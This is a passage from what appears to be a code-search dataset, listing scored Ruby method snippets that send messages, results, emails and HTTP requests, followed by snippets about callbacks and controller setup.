"text": "def execute()\n if @config[:to].is_a?(Array)\n if @config[:receiver].is_a?(Array)\n @config[:to].each do |t| \n @config[:receiver].each do|r| \n @sock.deliver(t, r) \n end\n end\n else\n @to.each do |t| @sock.deliver(t, @config[:receiver]) \n end \n end\n else\n if @config[:receiver].is_a?(Array)\n @config[:receiver].each do |r|\n @sock.deliver(@config[:to], r)\n end\n else\n @sock.deliver(@config[:to], @config[:receiver])\n end\n end\n end",
"title": ""
},
{
"docid": "2b029703345b6779a165704ac95fbf49",
"score": "0.5598902",
"text": "def sending data\r\n @adapter.sending data\r\n end",
"title": ""
},
{
"docid": "0eee81a362b97c445b2150e3549575a6",
"score": "0.5590764",
"text": "def send!\n self.responce = self.connection.__send__(self.command, self.params)\n end",
"title": ""
},
{
"docid": "0f0a43ddd9e5a92da8290564c8b6f678",
"score": "0.556615",
"text": "def success!\n\t\t@response_uri = \"#{@response_index}/onResult\"\n\tend",
"title": ""
},
{
"docid": "a260842e40f364dbcb68eb53582c395d",
"score": "0.55518544",
"text": "def res(method, id, data)\n payload = JSON.dump({\n 'jsonrpc' => '2.0',\n 'method' => method,\n 'result' => data,\n 'id' => id\n })\n @logger.debug(%(enqueueing success payload for sending: #{payload.inspect}))\n @out << payload\n end",
"title": ""
},
{
"docid": "71c00e53bb842bb1ad93473a314e4ef6",
"score": "0.55476034",
"text": "def send_to_broker(options)\n params = Neighborparrot.configuration.merge options[:params]\n request = options[:request]\n # TODO: Refactor\n # return unless check_params request\n return if request[:data].nil? || request[:data].length == 0\n return if params[:dummy_connections]\n\n signed_request = Neighborparrot.sign_send_request request, params\n\n url = \"#{params[:server]}/send\"\n http = EventMachine::HttpRequest.new(url).post :body => signed_request\n http.errback{ |msg| trigger_error msg }\n http.callback do\n if http.response_header.status == 200\n trigger_success http.response, params\n else\n trigger_error http.response\n end\n end\n end",
"title": ""
},
{
"docid": "628ce10b90f66cf056d6e4000dd43145",
"score": "0.5530856",
"text": "def handle_on_result(result)\n res = response\n if result.is_a?(String) && res.empty?\n res.write(result)\n end\n end",
"title": ""
},
{
"docid": "a49fd30a21f5b58b07273498c9607b4b",
"score": "0.55124074",
"text": "def deliver(subscription_id, result)\n payload = { result: result.to_h, more: true }\n # subscription = read_subscription(subscription_id)\n # action_cable_channel = subscription[:context][:action_cable_channel]\n # action_cable_channel.transmit(payload)\n ActionCable.server.broadcast(\"#{SUBSCRIPTION_PREFIX}#{subscription_id}\", payload)\n end",
"title": ""
},
{
"docid": "4162d1f7f0db0a109fb19719a8ec1f5a",
"score": "0.55056095",
"text": "def do_send(message)\n @stream_wrapper.clear()\n Erlang::encode(message, @stream_wrapper)\n @stream.write([@stream_wrapper.data.bytesize()].pack('N'))\n @stream.write(@stream_wrapper.data)\n @stream.flush()\n end",
"title": ""
},
{
"docid": "3fdfaa5a5ac5789ef47ebcee639ecd71",
"score": "0.54947233",
"text": "def next\n send_transport_message('Next')\n end",
"title": ""
},
{
"docid": "6f7cefd4fc858bea18657e3d8a0ea780",
"score": "0.54893184",
"text": "def _receive_result httpclient_response_message\n # ???\n end",
"title": ""
},
{
"docid": "7ca1ec05cb393e6549136d9e5f4750e9",
"score": "0.5486547",
"text": "def send\n @system = \"\"\n yield @system\n\n result = 'qf=xml&xml=' + render_template( 'auth' )\n\n @url.post( @uri.path, result, @headers.merge('Content-length' => result.length.to_s) )\n end",
"title": ""
},
{
"docid": "dcba0e1c4cb882433ea341be2547bdb9",
"score": "0.5479723",
"text": "def submit_result\n payload = {\n sessionId: @session_id,\n action: \"submitResult\",\n }\n post payload\n end",
"title": ""
},
{
"docid": "1599dace3b57ed225997d8dca2defccd",
"score": "0.54785126",
"text": "def call_send_api\n #(sender_psid, response)\n end",
"title": ""
},
{
"docid": "65447deefc75dfdf0aa8a8975f0bd8c9",
"score": "0.5471794",
"text": "def run(result)\n end",
"title": ""
},
{
"docid": "65447deefc75dfdf0aa8a8975f0bd8c9",
"score": "0.5471794",
"text": "def run(result)\n end",
"title": ""
},
{
"docid": "5ee90aa06ed0c4afa9ce47fa9f04000b",
"score": "0.5450189",
"text": "def _send_message state\n client.with_stream! do | client |\n state.in_stream =\n client.post(message_uri(state), state.message_payload)\n end\n end",
"title": ""
},
{
"docid": "ee3cb9d6cfb1a034365a27f9504830a0",
"score": "0.5449591",
"text": "def send_response\n I3.server.send_object({\"environment\" => I3.server.request.params})\n end",
"title": ""
},
{
"docid": "ef998737f53e31892f27c63d955791aa",
"score": "0.5449367",
"text": "def send(data)\n end",
"title": ""
},
{
"docid": "641a4df0a564b7c37df7bf147c73acdd",
"score": "0.54429734",
"text": "def upload_result(args)\n execution_time = Time.now - args[:start_time]\n include Message, Net\n msg = create_message(MSG_TYPE_UPR, args[:executor_id], args[:parent_id],\n args[:uid], execution_time, args[:results])\n if (sock = get_clnt_sock(args[:parent_addr], UPLOAD_RESULT_PORT)).nil?\n error(\"fail to get client socket.\")\n return -1\n end\n if (retval = psend(sock, msg)) < 0\n error(\"fail to send UploadResult message. errno: #{retval}\")\n close_sock(sock)\n return -2\n else\n close_sock(sock)\n return 0\n end\n end",
"title": ""
},
{
"docid": "ab2c7ed704f1c877a558d78089ac3fd8",
"score": "0.54333335",
"text": "def send params\r\n result = submit Terasms.config.url, {}, 'POST', 'json', Terasms.config.to_h.tap{|hs| hs.delete(:url)}.merge(params).to_json\r\n if main_status(result) < 0\r\n result.merge!({\"info\"=> error(main_status(result)), \"status\"=>\"error\"}) \r\n else\r\n if message_status(result) < 0\r\n result.merge!({\"info\"=> error(message_status(result)), \"status\"=>\"error\"}) \r\n else\r\n result.merge!({\"id\"=> message_id(result)})\r\n end\r\n end\r\n result\r\n end",
"title": ""
},
{
"docid": "3be2b7cc403fd9430a5a257dcfd98473",
"score": "0.54259866",
"text": "def handle_result(req_id, req)\n status, headers, body = super\n send_key = MultiJson.dump(req_id)\n send_body = MultiJson.dump(status: status, body: body)\n send send_key, \":\", send_body, ','\n end",
"title": ""
},
{
"docid": "26a633b9d38f359c161174ab90151857",
"score": "0.5423982",
"text": "def response\n unless sent?\n send\n end\n\n @future.value\n end",
"title": ""
},
{
"docid": "266ce6d5b07d5b6a7207d06f54248eec",
"score": "0.5419704",
"text": "def send(report)\n puts report\n end",
"title": ""
},
{
"docid": "e5c7fd5df1820a23215a73866be28e8e",
"score": "0.541128",
"text": "def send(lookup)\n if lookup.nil? or lookup.text.nil? or not lookup.text.is_a? String or lookup.text.empty?\n raise SmartyError, 'Client.send() requires a Lookup with the \"text\" field set'\n end\n\n request = build_request(lookup)\n response = @sender.send(request)\n raise response.error if response.error\n result = USExtract::Result.new(@serializer.deserialize(response.payload))\n\n lookup.result = result\n end",
"title": ""
},
{
"docid": "a8fa31b3b69db85789a2785330620462",
"score": "0.540261",
"text": "def result=(result)\n @result_set = true\n @result = result\n send_response :high \n end",
"title": ""
},
{
"docid": "2a3e94853e53ca1a3e88ef643072d761",
"score": "0.5397043",
"text": "def call(result)\n logger.debug { \"\\n#{self.class.name}##{__method__}\\n\\treq_id: #{req_id.inspect}\\n\\tcontext: #{context.inspect}\\n\\tresult: #{result.inspect}\" }\n EM.schedule do\n deferred_style_result(result) \n node_style_result(result)\n end\n end",
"title": ""
},
{
"docid": "905f23335ddafb14b7f822607f97d192",
"score": "0.5395372",
"text": "def perform\n @return_code = Curl.easy_perform(handle)\n if Ethon.logger.debug?\n Ethon.logger.debug { \"ETHON: performed #{log_inspect}\" }\n end\n complete\n @return_code\n end",
"title": ""
},
{
"docid": "c56a1eac667e6c8f6dc0af5aa9173289",
"score": "0.5390836",
"text": "def handle_result( msg )\r\n self.class.delayed_result_queue.select {|dr| dr.server_id==msg.id}.each {|dr| \r\n dr.send_result(msg.status)\r\n self.class.delayed_result_queue.delete dr\r\n }\r\n end",
"title": ""
},
{
"docid": "8dec8b0ad2fc47209e24ecce818d0190",
"score": "0.53890526",
"text": "def send_request(payload, &block)\n # to be executed (yielded) when there's response from socket\n @onresponse = block\n send_data(payload)\n end",
"title": ""
},
{
"docid": "6336b02806becb0d4d512978a4d92de7",
"score": "0.5386202",
"text": "def send_status\n url = URI.parse(\"#{API_BASE_URI}sendStatus.php\")\n current_result_message = result_messages(Net::HTTP.get(url), 0)\n end",
"title": ""
},
{
"docid": "657f12f3a9641752c5e3601c6f478fe5",
"score": "0.5384627",
"text": "def deliver\n validate\n with_storage do\n write_headers\n write_message\n send_message\n end\n end",
"title": ""
},
{
"docid": "32102a9009d7d331551ee351f22aa706",
"score": "0.5373334",
"text": "def sendoutput\r\n iplong = @ip+\" \"\r\n p \">\"+iplong[0..14]+\" \"+@start_dt.to_s[0..18]+\" \"+@vtype+\" Pgs> \"[email protected]_s+\" Dur> \"[email protected]_s+\" Rank> \"[email protected]_s\r\n end",
"title": ""
},
{
"docid": "9fe67ee4fa8d73079bbd65c408fc6483",
"score": "0.5372007",
"text": "def send_response(job_id, status, result)\n JobDispatch.logger.info \"Worker #{Process.pid} completed job_id: #{job_id}: #{status}, result: #{result}\"\n response = {\n command: 'completed',\n ready: true,\n job_id: job_id,\n result: result,\n status: status\n }\n @socket.send(JSON.dump(response))\n end",
"title": ""
},
{
"docid": "a7f4d1f6d2b795836d58f7e0e41390e4",
"score": "0.5364164",
"text": "def do_send\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n begin\n email = Email.find(params[:id])\n\n if email.status != Email::STATUS_DRAFT\n # Ignore clicked Send button twice or more at once.\n raise('ERROR:' + 'Specified E-mail is not a draft.')\n end\n\n mail_account = MailAccount.find(email.mail_account_id)\n if mail_account.user_id != @login_user.id\n raise('ERROR:' + t('msg.need_to_be_owner'))\n end\n\n sent_folder = MailFolder.get_for(@login_user, mail_account.id, MailFolder::XTYPE_SENT)\n email.do_smtp(mail_account)\n\n attrs = ActionController::Parameters.new({status: Email::STATUS_TRANSMITTED, mail_folder_id: sent_folder.id, sent_at: Time.now})\n email.update_attributes(attrs.permit(Email::PERMIT_BASE))\n\n flash[:notice] = t('msg.transmit_success')\n rescue => evar\n Log.add_error(request, evar)\n flash[:notice] = 'ERROR:' + t('msg.transmit_failed') + '<br/>' + evar.to_s\n end\n\n render(:partial => 'common/flash_notice', :layout => false)\n end",
"title": ""
},
{
"docid": "fff117f4963981254096a9b95b1d778e",
"score": "0.53636104",
"text": "def process\n\n if malformed?\n @result = :malformed\n return\n end\n\n if finished?\n @result = :already_finished\n return\n end\n\n @submission_response = $stellard.get(\"tx\", blob: tx_envelope)\n\n if received?\n @result = :received\n else\n @result = :failed\n end\n rescue Faraday::ConnectionFailed => e\n ExceptionReporter.capture(e)\n @result = :connection_failed\n end",
"title": ""
},
{
"docid": "bfdcb0a5f301b4372136f57e9dabbee4",
"score": "0.5361813",
"text": "def send_data\n @interface.send_data\n end",
"title": ""
},
{
"docid": "f676062ede0852875531f5f266515c75",
"score": "0.53548896",
"text": "def send(type, payload, opts = {}, &block)\n res = http_send type, Oj.dump({\"rid\" => uuid, \"data\" => payload})\n block.call(res) if block\n res\n end",
"title": ""
},
{
"docid": "cf46d31ee8ad931f828b87787f7cf50d",
"score": "0.53524923",
"text": "def send_block(text,destination,source)\n @flag=false\n s = Time.now #max forty second timeout\n @res='before'\n begin\n Timeout::timeout(@@timeout_max) {\n @res= yield \n }\n rescue Exception => e\n @res = \"#{e}\"\n ensure\n s= Time.now - s\n end\n # puts \"#{Time.now} result #{hostname} flag: #{flag} res: #{res} time #{s}\"\n puts \"-res #{@res} -time #{s} dest: #{destination} src: #{source}\"\n return @res\n end",
"title": ""
},
{
"docid": "62c7fe8eede2d2ba166faedca20ce544",
"score": "0.53513616",
"text": "def send\n self.send_request do\n self.send!\n end\n return(self.records)\n end",
"title": ""
},
{
"docid": "58e1d78c854558c03ce7976039b40a64",
"score": "0.53478134",
"text": "def execute\r\n server = @info_values[\"server\"]\r\n port = @info_values[\"port\"]\r\n tls = to_bool(@info_values[\"tls\"])\r\n from = @info_values[\"from\"]\r\n username = @info_values[\"username\"]\r\n password = @info_values[\"password\"]\r\n enable_debug_logging = @info_values[\"enable_debug_logging\"]\r\n to = @parameters[\"to\"]\r\n cc = @parameters[\"cc\"]\r\n bcc = @parameters[\"bcc\"]\r\n display_name = @parameters[\"display_name\"]\r\n reply_to = @parameters[\"reply_to\"]\r\n subject = @parameters[\"subject\"]\r\n htmlbody = @parameters[\"htmlbody\"]\r\n textbody = @parameters[\"textbody\"]\r\n attachment_file_name = @parameters[\"attachment_file_name\"]\r\n attachment_file_content = @parameters[\"attachment_file_content\"]\r\n attachment_encoding = @parameters[\"attachment_encoding\"]\r\n\r\n Mail.defaults do\r\n delivery_method :smtp, {\r\n :address => server,\r\n :port => port,\r\n :user_name => username,\r\n :password => password,\r\n :authentication => \"plain\",\r\n :enable_starttls_auto => tls\r\n }\r\n end\r\n\r\n mail = Mail.new do\r\n from \"#{display_name} <#{from}>\"\r\n to \"#{to}\"\r\n cc \"#{cc}\"\r\n bcc \"#{bcc}\"\r\n \"reply-to\" \"#{reply_to}\"\r\n subject \"#{subject}\"\r\n\r\n text_part do\r\n body \"#{textbody}\"\r\n end\r\n\r\n html_part do\r\n content_type \"text/html; charset=UTF-8\"\r\n body \"#{htmlbody}\"\r\n end\r\n\r\n content_transfer_encoding \"#{attachment_encoding}\"\r\n end\r\n\r\n mail.attachments[attachment_file_name] = attachment_file_content\r\n\r\n mail.deliver\r\n\r\n <<-RESULTS\r\n <results>\r\n <result name=\"Message Id\">#{escape(mail.message_id)}</result>\r\n </results>\r\n RESULTS\r\n\r\n rescue Exception => error\r\n raise StandardError, error\r\n end",
"title": ""
},
{
"docid": "0d6b4457830ab1792a0602a4cc33619b",
"score": "0.53466797",
"text": "def send\n @client.call(@command, xml: @soap)\n end",
"title": ""
},
{
"docid": "57e5d17491732416bae401279335a504",
"score": "0.5332741",
"text": "def stream_send(data)\n self[STREAM_SEND].call(data)\n end",
"title": ""
},
{
"docid": "2a4c500447a00468c80f3cafdd88e707",
"score": "0.53301007",
"text": "def sent\n \n end",
"title": ""
},
{
"docid": "a719a4726345465d4e42f61a24829c91",
"score": "0.532832",
"text": "def do_send\n AchClient::AchWorks.wrap_request(\n method: :send_ach_trans,\n message: AchClient::AchWorks::CompanyInfo.build.to_hash.merge({\n InpACHTransRecord: self.to_hash\n }),\n path: [:send_ach_trans_response, :send_ach_trans_result]\n )[:front_end_trace][1..-1]\n end",
"title": ""
},
{
"docid": "bd3e519e140578442aaf2ede4bbb73fc",
"score": "0.5322417",
"text": "def perform!\n transfer!\n cycle!\n end",
"title": ""
},
{
"docid": "bd3e519e140578442aaf2ede4bbb73fc",
"score": "0.5322417",
"text": "def perform!\n transfer!\n cycle!\n end",
"title": ""
},
{
"docid": "bd3e519e140578442aaf2ede4bbb73fc",
"score": "0.5322417",
"text": "def perform!\n transfer!\n cycle!\n end",
"title": ""
},
{
"docid": "bd3e519e140578442aaf2ede4bbb73fc",
"score": "0.5322417",
"text": "def perform!\n transfer!\n cycle!\n end",
"title": ""
},
{
"docid": "dc1bc4b8a7e556592d4965af747202f9",
"score": "0.52968824",
"text": "def txn_send(msg)\n @message = msg # the msg is accessed from transaction\n raise \"NIST can only send respones\" unless msg.is_response? \n case msg.code\n when 100..199\n _send_provisional(msg)\n when 200..699\n _send_final(msg)\n else\n raise \"NIST cannot deal with this response #{msg}\"\n end \n end",
"title": ""
},
{
"docid": "739495b9a06a319eb9c45d6a388c7995",
"score": "0.52934456",
"text": "def send(call)\n\n end",
"title": ""
},
{
"docid": "68742f0fb65ad6c69cdf5ab3a37d00e8",
"score": "0.52881885",
"text": "def transfer; end",
"title": ""
},
{
"docid": "68742f0fb65ad6c69cdf5ab3a37d00e8",
"score": "0.52881885",
"text": "def transfer; end",
"title": ""
},
{
"docid": "e3b90da8de813bb42000341d970a4886",
"score": "0.52819836",
"text": "def send_mail(config_hash, script_result)\n Email.send_mail(config_hash, script_result)\n end",
"title": ""
},
{
"docid": "7cf6081ce6eae0b64cdaa46d9207d779",
"score": "0.5274458",
"text": "def send_response(json)\n UI.verbose(\"sending #{json}\")\n begin\n @client.puts(json) # Send some json to the client\n rescue Errno::EPIPE => e\n UI.verbose(e)\n return COMMAND_EXECUTION_STATE[:error]\n end\n return COMMAND_EXECUTION_STATE[:ready]\n end",
"title": ""
},
{
"docid": "77c5cc601fab4b0eb2631ea6c2e92cb9",
"score": "0.5271301",
"text": "def send_request(&block)\n self.request_will_send\n result = yield\n self.setup_records\n self.request_sent\n result\n end",
"title": ""
},
{
"docid": "7e36d0dfa7c8830f5337a3706afe9374",
"score": "0.52645564",
"text": "def response_to send_string\n @sock.puts send_string\n return @sock.gets\n end",
"title": ""
},
{
"docid": "1218f34f6dd322d51a2e4a36097a156a",
"score": "0.52613056",
"text": "def email_print_result\n params[:print][:output_type] ||= 'pdf'\n if params[:print][:email_to].blank?\n flash[:error] = t('output.email.email_address_missing')\n return 301\n else\n print_resources\n flash[:info] = t('output.email.email_sent')\n return 200\n end\n end",
"title": ""
},
{
"docid": "2f79d4ad4119ae52ffff6f6bd861af2c",
"score": "0.52612597",
"text": "def _receive_result state\n state.result_payload = state.result\n self\n end",
"title": ""
},
{
"docid": "3e73afb145e5c8d4eb67dcadf131e402",
"score": "0.52445257",
"text": "def send\n Chain.send_transaction(hex)\n end",
"title": ""
},
{
"docid": "38247b48c7d69986a630549d1f0f41f4",
"score": "0.52414566",
"text": "def transmit(command, url, h=host, body=nil, headers={}, p=port)\r\n request_headers = create_headers(command, url, headers, body)\r\n request = http_request_factory(command, url, request_headers, body)\r\n tryit = true\r\n while tryit\r\n begin\r\n response = SQSResponse.new(http_request(h,p,request))\r\n tryit = false unless response.nil?\r\n rescue StandardError, TimeoutError\r\n raise $! unless reliable\r\n puts \"transmit failed, will retry in #{@reconnectDelay} seconds\"\r\n sleep @reconnectDelay\r\n end\r\n end\r\n check_errors(response)\r\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2
|
Use callbacks to share common setup or constraints between actions.
|
[
{
"docid": "18f9b61c150fa7355605d47282f4a7ac",
"score": "0.0",
"text": "def set_skills\n @skill = Skill.find(params[:id])\n end",
"title": ""
}
] |
[
{
"docid": "631f4c5b12b423b76503e18a9a606ec3",
"score": "0.60339177",
"text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end",
"title": ""
},
{
"docid": "7b068b9055c4e7643d4910e8e694ecdc",
"score": "0.60135007",
"text": "def on_setup_callbacks; end",
"title": ""
},
{
"docid": "311e95e92009c313c8afd74317018994",
"score": "0.59219855",
"text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "bfea4d21895187a799525503ef403d16",
"score": "0.589884",
"text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "352de4abc4d2d9a1df203735ef5f0b86",
"score": "0.5889191",
"text": "def required_action\n # TODO: implement\n end",
"title": ""
},
{
"docid": "8713cb2364ff3f2018b0d52ab32dbf37",
"score": "0.58780754",
"text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "a80b33627067efa06c6204bee0f5890e",
"score": "0.5863248",
"text": "def actions\n\n end",
"title": ""
},
{
"docid": "930a930e57ae15f432a627a277647f2e",
"score": "0.58094144",
"text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end",
"title": ""
},
{
"docid": "33ff963edc7c4c98d1b90e341e7c5d61",
"score": "0.57375425",
"text": "def setup\n common_setup\n end",
"title": ""
},
{
"docid": "a5ca4679d7b3eab70d3386a5dbaf27e1",
"score": "0.57285565",
"text": "def perform_setup\n end",
"title": ""
},
{
"docid": "ec7554018a9b404d942fc0a910ed95d9",
"score": "0.57149214",
"text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "c85b0efcd2c46a181a229078d8efb4de",
"score": "0.56900954",
"text": "def custom_setup\n\n end",
"title": ""
},
{
"docid": "100180fa74cf156333d506496717f587",
"score": "0.56665677",
"text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend",
"title": ""
},
{
"docid": "2198a9876a6ec535e7dcf0fd476b092f",
"score": "0.5651118",
"text": "def initial_action; end",
"title": ""
},
{
"docid": "b9b75a9e2eab9d7629c38782c0f3b40b",
"score": "0.5648135",
"text": "def setup_intent; end",
"title": ""
},
{
"docid": "471d64903a08e207b57689c9fbae0cf9",
"score": "0.56357735",
"text": "def setup_controllers &proc\n @global_setup = proc\n self\n end",
"title": ""
},
{
"docid": "468d85305e6de5748477545f889925a7",
"score": "0.5627078",
"text": "def inner_action; end",
"title": ""
},
{
"docid": "bb445e7cc46faa4197184b08218d1c6d",
"score": "0.5608873",
"text": "def pre_action\n # Override this if necessary.\n end",
"title": ""
},
{
"docid": "432f1678bb85edabcf1f6d7150009703",
"score": "0.5598699",
"text": "def target_callbacks() = commands",
"title": ""
},
{
"docid": "48804b0fa534b64e7885b90cf11bff31",
"score": "0.5598419",
"text": "def execute_callbacks; end",
"title": ""
},
{
"docid": "5aab98e3f069a87e5ebe77b170eab5b9",
"score": "0.5589822",
"text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "482481e8cf2720193f1cdcf32ad1c31c",
"score": "0.55084664",
"text": "def required_keys(action)\n\n end",
"title": ""
},
{
"docid": "353fd7d7cf28caafe16d2234bfbd3d16",
"score": "0.5504379",
"text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end",
"title": ""
},
{
"docid": "dcf95c552669536111d95309d8f4aafd",
"score": "0.5465574",
"text": "def layout_actions\n \n end",
"title": ""
},
{
"docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40",
"score": "0.5464707",
"text": "def on_setup(&block); end",
"title": ""
},
{
"docid": "8ab2a5ea108f779c746016b6f4a7c4a8",
"score": "0.54471064",
"text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend",
"title": ""
},
{
"docid": "e3aadf41537d03bd18cf63a3653e05aa",
"score": "0.54455084",
"text": "def before(action)\n invoke_callbacks *options_for(action).before\n end",
"title": ""
},
{
"docid": "6bd37bc223849096c6ea81aeb34c207e",
"score": "0.5437386",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "07fd9aded4aa07cbbba2a60fda726efe",
"score": "0.54160327",
"text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "9358208395c0869021020ae39071eccd",
"score": "0.5397424",
"text": "def post_setup; end",
"title": ""
},
{
"docid": "cb5bad618fb39e01c8ba64257531d610",
"score": "0.5392518",
"text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "a468b256a999961df3957e843fd9bdf4",
"score": "0.5385411",
"text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "118932433a8cfef23bb8a921745d6d37",
"score": "0.53487605",
"text": "def register_action(action); end",
"title": ""
},
{
"docid": "725216eb875e8fa116cd55eac7917421",
"score": "0.5346655",
"text": "def setup\n @controller.setup\n end",
"title": ""
},
{
"docid": "39c39d6fe940796aadbeaef0ce1c360b",
"score": "0.53448105",
"text": "def setup_phase; end",
"title": ""
},
{
"docid": "bd03e961c8be41f20d057972c496018c",
"score": "0.5342072",
"text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end",
"title": ""
},
{
"docid": "c6352e6eaf17cda8c9d2763f0fbfd99d",
"score": "0.5341318",
"text": "def initial_action=(_arg0); end",
"title": ""
},
{
"docid": "207a668c9bce9906f5ec79b75b4d8ad7",
"score": "0.53243506",
"text": "def before_setup\n\n end",
"title": ""
},
{
"docid": "669ee5153c4dc8ee81ff32c4cefdd088",
"score": "0.53025913",
"text": "def ensure_before_and_after; end",
"title": ""
},
{
"docid": "c77ece7b01773fb7f9f9c0f1e8c70332",
"score": "0.5283114",
